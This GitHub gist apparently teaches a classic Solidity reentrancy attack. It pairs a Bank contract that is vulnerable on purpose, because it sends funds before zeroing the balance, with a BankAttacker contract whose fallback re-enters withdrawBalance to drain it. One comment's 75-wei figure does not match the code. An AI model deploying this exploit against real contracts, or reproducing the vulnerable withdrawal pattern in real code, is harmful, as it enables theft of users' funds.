Last active
February 10, 2022 14:44
-
-
Save djaramillo021/896f94cef76d065d0a9bacc096f168e1 to your computer and use it in GitHub Desktop.
example.sol
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract Bank{ | |
/*Contract that stores user balances. This is the vulnerable contract. This contract contains | |
the basic actions necessary to interact with its users, such as: get balance, add to balance, | |
and withdraw balance */ | |
mapping(address=>uint) userBalances;/*mapping is a variable | |
type that saves the relation between the user and the amount contributed to | |
this contract. An address (account) is a unique indentifier in the blockchain*/ | |
function getUserBalance(address user) constant returns(uint) { | |
return userBalances[user]; | |
}/*This function returns the amount (balance) that the user has contributed | |
to this contract (this information is saved in the userBalances variable)*/ | |
function addToBalance() { | |
userBalances[msg.sender] = userBalances[msg.sender] + msg.value; | |
}/*This function assigns the value sent by the user to the userBalances variable. | |
The msg variable is a global variable*/ | |
function withdrawBalance() { | |
uint amountToWithdraw = userBalances[msg.sender]; | |
if (msg.sender.call.value(amountToWithdraw)() == false) { | |
throw; | |
} | |
userBalances[msg.sender] = 0; | |
} | |
}/*First, this function gets the user's balance and sets it to the amountToWithdraw | |
variable. Then, the function sends the user the amount set in the | |
amountToWithdraw variable. If the transaction is successful the userBalances is | |
set to 0 because all the funds deposited in the balance are sent to the user. | |
Otherwise, the throw command is triggered, reversing the previous transaction.*/ | |
contract BankAttacker{ | |
/*This is the malicious contract that implements a double spend attack to the | |
first contract: contract Bank. This attack can be carried out n times. | |
For this example, we carried it out only 2 times.*/ | |
bool is_attack; | |
address bankAddress; | |
function BankAttacker(address _bankAddress, bool _is_attack){ | |
bankAddress=_bankAddress; | |
is_attack=_is_attack; | |
}/*This function, which is the constructor, sets the address of the contract to be attacked | |
(contract Bank) and enables/disables the double spend attack */ | |
function() { | |
if(is_attack==true) | |
{ | |
is_attack=false; | |
if(bankAddress.call(bytes4(sha3("withdrawBalance()")))) { | |
throw; | |
} | |
} | |
}/* This is the fallback function that calls the withdrawnBalance function | |
when attack flag, previuosly set in the constructor, is enabled. This function | |
is triggered because in the withdrawBalance function of the contract Bank a | |
send was executed. To avoid infinitive recursive fallbacks, it is necessary | |
to set the variable is_attack to false. Otherwise, the gas would run out, the | |
throw would execute and the attack would fail */ | |
function deposit(){ | |
if(bankAddress.call.value(2).gas(20764)(bytes4(sha3("addToBalance()"))) | |
==false) { | |
throw; | |
} | |
}/*This function makes a deposit in the contract Bank (75 wei) calling the | |
addToBalance function of the contract Bank*/ | |
function withdraw(){ | |
if(bankAddress.call(bytes4(sha3("withdrawBalance()")))==false ) { | |
throw; | |
} | |
}/*This function triggers the withdrawBalance function in the contract Bank*/ | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment